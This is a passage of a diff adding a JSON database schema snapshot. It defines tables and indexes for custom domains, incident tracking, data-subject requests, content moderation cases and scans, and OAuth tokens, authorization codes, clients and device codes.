"custom_domains_hostname_key", + "columns": [ + { + "expression": "hostname", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + }, + "custom_domains_drive_id_idx": { + "name": "custom_domains_drive_id_idx", + "columns": [ + { + "expression": "drive_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "custom_domains_suspended_by_policy_idx": { + "name": "custom_domains_suspended_by_policy_idx", + "columns": [ + { + "expression": "drive_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "\"custom_domains\".\"suspended_by_policy\" IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + }, + "custom_domains_published_app_id_idx": { + "name": "custom_domains_published_app_id_idx", + "columns": [ + { + "expression": "published_app_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "custom_domains_primary_per_drive": { + "name": "custom_domains_primary_per_drive", + "columns": [ + { + "expression": "drive_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"custom_domains\".\"is_primary\"", + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "custom_domains_drive_id_drives_id_fk": { + "name": "custom_domains_drive_id_drives_id_fk", + "tableFrom": "custom_domains", + "tableTo": "drives", + "columnsFrom": [ + "drive_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "custom_domains_publish_landing_page_id_pages_id_fk": { + "name": "custom_domains_publish_landing_page_id_pages_id_fk", + "tableFrom": "custom_domains", + "tableTo": "pages", + "columnsFrom": [ + "publish_landing_page_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + }, + "custom_domains_publish_not_found_page_id_pages_id_fk": { + "name": "custom_domains_publish_not_found_page_id_pages_id_fk", + "tableFrom": "custom_domains", + "tableTo": "pages", + "columnsFrom": [ + "publish_not_found_page_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + }, + "custom_domains_published_app_id_published_apps_id_fk": { + "name": "custom_domains_published_app_id_published_apps_id_fk", + "tableFrom": "custom_domains", + "tableTo": "published_apps", + "columnsFrom": [ + "published_app_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.incidents": { + "name": "incidents", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "title": { + "name": "title", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "description": { + "name": "description", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "severity": { + "name": "severity", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'detected'" + }, + "category": { + "name": "category", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "detectedAt": { + "name": "detectedAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "reportedBy": { + "name": "reportedBy", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "affectedUserCount": { + "name": "affectedUserCount", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "affectedScope": { + "name": "affectedScope", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "riskLevel": { + "name": "riskLevel", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "requiresAuthorityNotification": { + "name": "requiresAuthorityNotification", + "type": "boolean", + "primaryKey": false, + "notNull": false + }, + "authorityNotificationDeadline": { + "name": "authorityNotificationDeadline", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "authorityNotifiedAt": { + "name": "authorityNotifiedAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "requiresSubjectNotification": { + "name": "requiresSubjectNotification", + "type": "boolean", + "primaryKey": false, + "notNull": false + }, + "subjectsNotifiedAt": { + "name": "subjectsNotifiedAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "metadata": { + "name": "metadata", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "closedAt": { + "name": "closedAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "idx_incidents_status": { + "name": "idx_incidents_status", + "columns": [ + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_incidents_detected_at": { + "name": "idx_incidents_detected_at", + "columns": [ + { + "expression": "detectedAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_incidents_authority_deadline": { + "name": "idx_incidents_authority_deadline", + "columns": [ + { + "expression": "authorityNotificationDeadline", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "incidents_reportedBy_users_id_fk": { + "name": "incidents_reportedBy_users_id_fk", + "tableFrom": "incidents", + "tableTo": "users", + "columnsFrom": [ + "reportedBy" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.data_subject_requests": { + "name": "data_subject_requests", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "subject_email": { + "name": "subject_email", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "request_type": { + "name": "request_type", + "type": "data_subject_request_type", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'erasure'" + }, + "status": { + "name": "status", + "type": "data_subject_request_status", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'pending'" + }, + "force_delete": { + "name": "force_delete", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "requested_by_user_id": { + "name": "requested_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "requested_by_type": { + "name": "requested_by_type", + "type": "data_subject_requester_type", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'self'" + }, + "legal_basis": { + "name": "legal_basis", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "received_at": { + "name": "received_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "sla_deadline": { + "name": "sla_deadline", + "type": "timestamp", + "primaryKey": false, + "notNull": true + }, + "started_at": { + "name": "started_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "completed_at": { + "name": "completed_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "blocked_reason": { + "name": "blocked_reason", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "job_id": { + "name": "job_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "attempts": { + "name": "attempts", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "last_error": { + "name": "last_error", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "step_results": { + "name": "step_results", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "data_subject_requests_status_idx": { + "name": "data_subject_requests_status_idx", + "columns": [ + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "data_subject_requests_sla_deadline_idx": { + "name": "data_subject_requests_sla_deadline_idx", + "columns": [ + { + "expression": "sla_deadline", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "data_subject_requests_user_id_idx": { + "name": "data_subject_requests_user_id_idx", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "data_subject_requests_user_id_users_id_fk": { + "name": "data_subject_requests_user_id_users_id_fk", + "tableFrom": "data_subject_requests", + "tableTo": "users", + "columnsFrom": [ + "user_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + }, + "data_subject_requests_requested_by_user_id_users_id_fk": { + "name": "data_subject_requests_requested_by_user_id_users_id_fk", + "tableFrom": "data_subject_requests", + "tableTo": "users", + "columnsFrom": [ + "requested_by_user_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.content_blocks": { + "name": "content_blocks", + "schema": "", + "columns": { + "content_hash": { + "name": "content_hash", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "category": { + "name": "category", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "source": { + "name": "source", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "case_id": { + "name": "case_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_by": { + "name": "created_by", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "content_blocks_case_id_idx": { + "name": "content_blocks_case_id_idx", + "columns": [ + { + "expression": "case_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.content_cases": { + "name": "content_cases", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "target_type": { + "name": "target_type", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "target_id": { + "name": "target_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "content_hash": { + "name": "content_hash", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'open'" + }, + "category": { + "name": "category", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "reporter_user_id": { + "name": "reporter_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "reporter_contact": { + "name": "reporter_contact", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "reason": { + "name": "reason", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "snapshot": { + "name": "snapshot", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "steps": { + "name": "steps", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "content_cases_target_idx": { + "name": "content_cases_target_idx", + "columns": [ + { + "expression": "target_type", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "target_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "content_cases_reported_target_key": { + "name": "content_cases_reported_target_key", + "columns": [ + { + "expression": "target_type", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "target_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"content_cases\".\"status\" = 'reported'", + "concurrently": false, + "method": "btree", + "with": {} + }, + "content_cases_content_hash_idx": { + "name": "content_cases_content_hash_idx", + "columns": [ + { + "expression": "content_hash", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "content_cases_status_created_at_idx": { + "name": "content_cases_status_created_at_idx", + "columns": [ + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.content_reports": { + "name": "content_reports", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "case_id": { + "name": "case_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "category": { + "name": "category", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "description": { + "name": "description", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "source": { + "name": "source", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "reporter_user_id": { + "name": "reporter_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "contact_email": { + "name": "contact_email", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "content_reports_case_id_created_at_idx": { + "name": "content_reports_case_id_created_at_idx", + "columns": [ + { + "expression": "case_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.content_scan_backfill": { + "name": "content_scan_backfill", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "phase": { + "name": "phase", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "start_after": { + "name": "start_after", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "pass": { + "name": "pass", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 1 + }, + "counts": { + "name": "counts", + "type": "jsonb", + "primaryKey": false, + "notNull": true + }, + "last_pass_counts": { + "name": "last_pass_counts", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "pass_started_at": { + "name": "pass_started_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "last_completed_at": { + "name": "last_completed_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "lease_until": { + "name": "lease_until", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": {}, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.content_scans": { + "name": "content_scans", + "schema": "", + "columns": { + "content_hash": { + "name": "content_hash", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "verdict": { + "name": "verdict", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "provider": { + "name": "provider", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "provider_version": { + "name": "provider_version", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "scores": { + "name": "scores", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "mode": { + "name": "mode", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "outcome": { + "name": "outcome", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "scanned_at": { + "name": "scanned_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": {}, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.content_site_holds": { + "name": "content_site_holds", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "drive_id": { + "name": "drive_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "holder": { + "name": "holder", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "source": { + "name": "source", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "case_id": { + "name": "case_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_by": { + "name": "created_by", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "content_site_holds_drive_holder_key": { + "name": "content_site_holds_drive_holder_key", + "columns": [ + { + "expression": "drive_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "holder", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + }, + "content_site_holds_user_id_idx": { + "name": "content_site_holds_user_id_idx", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.oauth_access_tokens": { + "name": "oauth_access_tokens", + "schema": "", + "columns": { + "authenticatedAt": { + "name": "authenticatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "authenticationAssurance": { + "name": "authenticationAssurance", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "tokenHash": { + "name": "tokenHash", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "tokenPrefix": { + "name": "tokenPrefix", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "familyId": { + "name": "familyId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "clientId": { + "name": "clientId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "scopes": { + "name": "scopes", + "type": "jsonb", + "primaryKey": false, + "notNull": true + }, + "tokenVersion": { + "name": "tokenVersion", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "expiresAt": { + "name": "expiresAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + }, + "revokedAt": { + "name": "revokedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "revokedReason": { + "name": "revokedReason", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "oauth_access_tokens_family_id_idx": { + "name": "oauth_access_tokens_family_id_idx", + "columns": [ + { + "expression": "familyId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "oauth_access_tokens_user_id_idx": { + "name": "oauth_access_tokens_user_id_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "oauth_access_tokens_client_id_idx": { + "name": "oauth_access_tokens_client_id_idx", + "columns": [ + { + "expression": "clientId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "oauth_access_tokens_token_hash_idx": { + "name": "oauth_access_tokens_token_hash_idx", + "columns": [ + { + "expression": "tokenHash", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "oauth_access_tokens_expires_at_idx": { + "name": "oauth_access_tokens_expires_at_idx", + "columns": [ + { + "expression": "expiresAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "oauth_access_tokens_clientId_oauth_clients_id_fk": { + "name": "oauth_access_tokens_clientId_oauth_clients_id_fk", + "tableFrom": "oauth_access_tokens", + "tableTo": "oauth_clients", + "columnsFrom": [ + "clientId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "oauth_access_tokens_userId_users_id_fk": { + "name": "oauth_access_tokens_userId_users_id_fk", + "tableFrom": "oauth_access_tokens", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "oauth_access_tokens_tokenHash_unique": { + "name": "oauth_access_tokens_tokenHash_unique", + "nullsNotDistinct": false, + "columns": [ + "tokenHash" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.oauth_authorization_codes": { + "name": "oauth_authorization_codes", + "schema": "", + "columns": { + "authenticatedAt": { + "name": "authenticatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "authenticationAssurance": { + "name": "authenticationAssurance", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "codeHash": { + "name": "codeHash", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "codePrefix": { + "name": "codePrefix", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "clientId": { + "name": "clientId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "redirectUri": { + "name": "redirectUri", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "codeChallenge": { + "name": "codeChallenge", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "codeChallengeMethod": { + "name": "codeChallengeMethod", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "scopes": { + "name": "scopes", + "type": "jsonb", + "primaryKey": false, + "notNull": true + }, + "expiresAt": { + "name": "expiresAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + }, + "consumedAt": { + "name": "consumedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "issuedFamilyId": { + "name": "issuedFamilyId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "oauth_authorization_codes_client_id_idx": { + "name": "oauth_authorization_codes_client_id_idx", + "columns": [ + { + "expression": "clientId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "oauth_authorization_codes_user_id_idx": { + "name": "oauth_authorization_codes_user_id_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "oauth_authorization_codes_code_hash_idx": { + "name": "oauth_authorization_codes_code_hash_idx", + "columns": [ + { + "expression": "codeHash", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "oauth_authorization_codes_expires_at_idx": { + "name": "oauth_authorization_codes_expires_at_idx", + "columns": [ + { + "expression": "expiresAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "oauth_authorization_codes_clientId_oauth_clients_id_fk": { + "name": "oauth_authorization_codes_clientId_oauth_clients_id_fk", + "tableFrom": "oauth_authorization_codes", + "tableTo": "oauth_clients", + "columnsFrom": [ + "clientId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "oauth_authorization_codes_userId_users_id_fk": { + "name": "oauth_authorization_codes_userId_users_id_fk", + "tableFrom": "oauth_authorization_codes", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "oauth_authorization_codes_codeHash_unique": { + "name": "oauth_authorization_codes_codeHash_unique", + "nullsNotDistinct": false, + "columns": [ + "codeHash" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.oauth_clients": { + "name": "oauth_clients", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "clientId": { + "name": "clientId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "clientType": { + "name": "clientType", + "type": "OAuthClientType", + "typeSchema": "public", + "primaryKey": false, + "notNull": true + }, + "redirectUris": { + "name": "redirectUris", + "type": "jsonb", + "primaryKey": false, + "notNull": true + }, + "isFirstParty": { + "name": "isFirstParty", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "disabledAt": { + "name": "disabledAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "oauth_clients_client_id_idx": { + "name": "oauth_clients_client_id_idx", + "columns": [ + { + "expression": "clientId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "oauth_clients_clientId_unique": { + "name": "oauth_clients_clientId_unique", + "nullsNotDistinct": false, + "columns": [ + "clientId" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.oauth_device_codes": { + "name": "oauth_device_codes", + "schema": "", + "columns": { + "authenticatedAt": { + "name": "authenticatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "authenticationAssurance": { + "name": "authenticationAssurance", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "deviceCodeHash": { + "name": "deviceCodeHash", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "deviceCodePrefix": { + "name": "deviceCodePrefix", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "userCodeHash": { + "name": "userCodeHash", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "userCodePrefix": { + "name": "userCodePrefix", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "clientId": { + "name": "clientId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "scopes": { + "name": "scopes", + "type": "jsonb", + "primaryKey": false, + "notNull": true + }, + "expiresAt": { + "name": "expiresAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + }, + "approvedAt": { + "name": "approvedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "deniedAt": { + "name": "deniedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "redeemedAt": { + "name": "redeemedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "lastPolledAt": { + "name": "lastPolledAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "pollIntervalSeconds": { + "name": "pollIntervalSeconds", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 5 + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "oauth_device_codes_client_id_idx": { + "name": "oauth_device_codes_client_id_idx", + "columns": [ + { + "expression": "clientId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "oauth_device_codes_user_id_idx": { + "name": "oauth_device_codes_user_id_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "oauth_device_codes_device_code_hash_idx": { + "name": "oauth_device_codes_device_code_hash_idx", + "columns": [ + { + "expression": "deviceCodeHash", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "oauth_device_codes_user_code_hash_idx": { + "name": "oauth_device_codes_user_code_hash_idx", + "columns": [ + { + "expression": "userCodeHash", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "oauth_device_codes_expires_at_idx": { + "name": "oauth_device_codes_expires_at_idx", + "columns": [ + { + "expression": "expiresAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + 